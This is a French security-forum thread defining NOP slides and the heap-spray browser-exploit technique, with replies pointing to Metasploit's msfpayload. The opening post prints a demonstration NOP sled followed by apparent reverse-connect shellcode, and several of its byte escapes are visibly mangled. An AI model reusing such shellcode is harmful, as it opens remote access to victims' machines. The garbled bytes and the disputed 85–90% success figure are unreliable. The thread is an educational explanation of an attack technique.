Annonce

Réduire
Aucune annonce.

Heap spray

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Heap spray

    Heap spray

    Technique d'exploit basé sur navigateur améliorant le pourcentage de chance d'un shellcode d'être exécuté.

    ~~~

    Notions :

    NOP :

    Une instruction de non-opération (no-operation instruction, NOP) est une instruction assembleur qui dit : "ne rien faire et passer à l'instruction suivante".

    Slide NOP :

    Une slide NOP comprend plusieurs NOP côte à côte dans la mémoire, prenant essentiellement de la place.

    Introduction :

    Si le flux d'exécution d'un programme se heurte à une série d'instructions NOP, il sera linéaire "slide" jusqu'à la fin de celles-ci, ce jusqu'à l'instruction suivante.

    Heap Spray :

    La technique de heap spray consiste à remplir le heap avec un modèle connu de répétition de slide NOP et de votre shellcode jusqu'à remplir l'espace mémoire en entier avec cette valeur connue. Vous vous souvenez sans doute que la mémoire dans le heap est allouée dynamiquement lors de l'exécution du programme. Cela se fait généralement via du JavaScript, ce qui provoque à la mémoire allouée par le navigateur une croissance de manière significative. L'attaquant remplit de gros blocs de mémoire avec des slide NOP et du shellcode directement après eux. Lorsque le flux d'exécution du programme est modifié et saute au hasard quelque part dans la mémoire, il y a une bonne chance de tomber sur une slide NOP et finalement frapper le shellcode. Au lieu de chercher une aiguille dans une botte de foin (le shellcode dans la mémoire) la méthode heap spray offre une chance de 85 à 90 pour cent à l'exploit de réussir.

    Note : Une NOP, en ASM Intel x86 Arch_ se représente par : \x90.

    Démonstration :

    Code:
    \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
    \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
    \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
    \xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\2\x64\x8b\x52\x30 
    \x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff 
    \x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2 
    \xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\0\x8b\x40\x78\x85 
    \xc0\x74\x4a\x01\0\x50\x8b\x48\x18\x8b\x58\x20\x01\3\xe3 
    \x3c\x49\x8b\x34\x8b\x01\6\x31\xff\x31\xc0\xac\xc1\xcf\x0d 
    \x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58 
    \x8b\x58\x24\x01\3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\3\x8b 
    \x04\x8b\x01\0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff 
    \xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68 
    \x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\5\xb8\x90\x01 
    \x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\5\x50\x50 
    \x50\x50\x40\x50\x40\x50\x68\xea\x0f\f\xe0\xff\5\x97\x31 
    \b\x53\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56\x57\x68\xc2 
    \b\x37\x67\xff\5\x53\x57\x68\xb7\xe9\x38\xff\xff\5\x53 
    \x53\x57\x68\x74\xec\x3b\xe1\xff\5\x57\x97\x68\x75\x6e\x4d 
    \x61\xff\5\x6a\x00\x6a\x04\x56\x57\x68\x02\9\xc8\x5f\xff 
    \5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58 
    \xa4\x53\xe5\xff\5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\9 
    \xc8\x5f\xff\5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3
    Les opcodes n'étant pas des NOP sont donc, dans le cas ci-présent, un payload.

    Intérêt de cette technique :

    La technique de heap spray consiste donc à remplir le heap avec un modèle connu de répétition de slide NOP (et accessoirement de votre shellcode) jusqu'à remplir l'espace mémoire en entier. La mémoire dans le heap étant allouée dynamiquement lors de l'exécution du programme (généralement via du JavaScript) provoque alors à la mémoire allouée par le navigateur une croissance de manière significative. On remplit donc la mémoire par des gros blocs de \x90 suivis instamment du shellcode malveillant. Lorsque le flux d'exécution du programme est modifié et saute au hasard quelque part dans la mémoire, il y a une bonne chance de tomber sur une slide NOP et donc "glisser" jusqu'au shellcode !

    Au lieu de chercher une aiguille dans une botte de foin (le shellcode dans la mémoire) la méthode heap spray offre une chance de 85 à 90 pour cent à l'exploit de réussir !
    sigpic

    Cyprium Download Link

    Plus j'étudie plus j'me rends compte que je n'sais rien.

    †|

  • #2
    J'aurai trois question :
    Comment fais t-on pour programmer un shell code ? Et le comprendre ?
    Est-ce que tu as programmé toi même le code de démonstration ?

    Merci Sakarov ! J'étudierai plus en détail quand j'aurai compris le fonctionnement.
    ~ Yarflam ~

    ❉ L'Univers se dirige vers son ultime perfection ❉

    Commentaire


    • #3
      Le plus simple c'est de générer un payload via msfpayload [Meterpreter] disponible dans Metasploit Framework.

      Pour de plus amples infos : link (EN)
      sigpic

      Cyprium Download Link

      Plus j'étudie plus j'me rends compte que je n'sais rien.

      †|

      Commentaire


      • #4
        Malheureusement, c'est bien trop bourrin. Les statistiques données (90 % ?!) sont bien trop larges, ça dépend énormément de la machine. C'est un coup à la faire mettre à genoux avant d'avoir pu faire quoi que ça soit.

        Il peut être intéressant de faire un tour par VMMap pour se rendre compte des réels effets. Est-ce que le forum serait intéressé par un tuto pour un exploit ie6 avec cette méthode ?

        Commentaire


        • #5
          On est toujours intéressé par un tuto !

          Commentaire


          • #6
            @zatea : note que ceci n'est pas un tutoriel mais une simple définition. Quant à la stat elle provient de David Kennedy. N'hésite pas à faire un tutoriel complet sur les exploits basés sur les navigateurs ; il y a long à dire. Je n'ai fait qu'effleurer le sujet sous un de ses aspects et te cède la primeur de te charger d'un vrai tutoriel. Je serai ravi de te lire !
            sigpic

            Cyprium Download Link

            Plus j'étudie plus j'me rends compte que je n'sais rien.

            †|

            Commentaire

            Chargement...
            X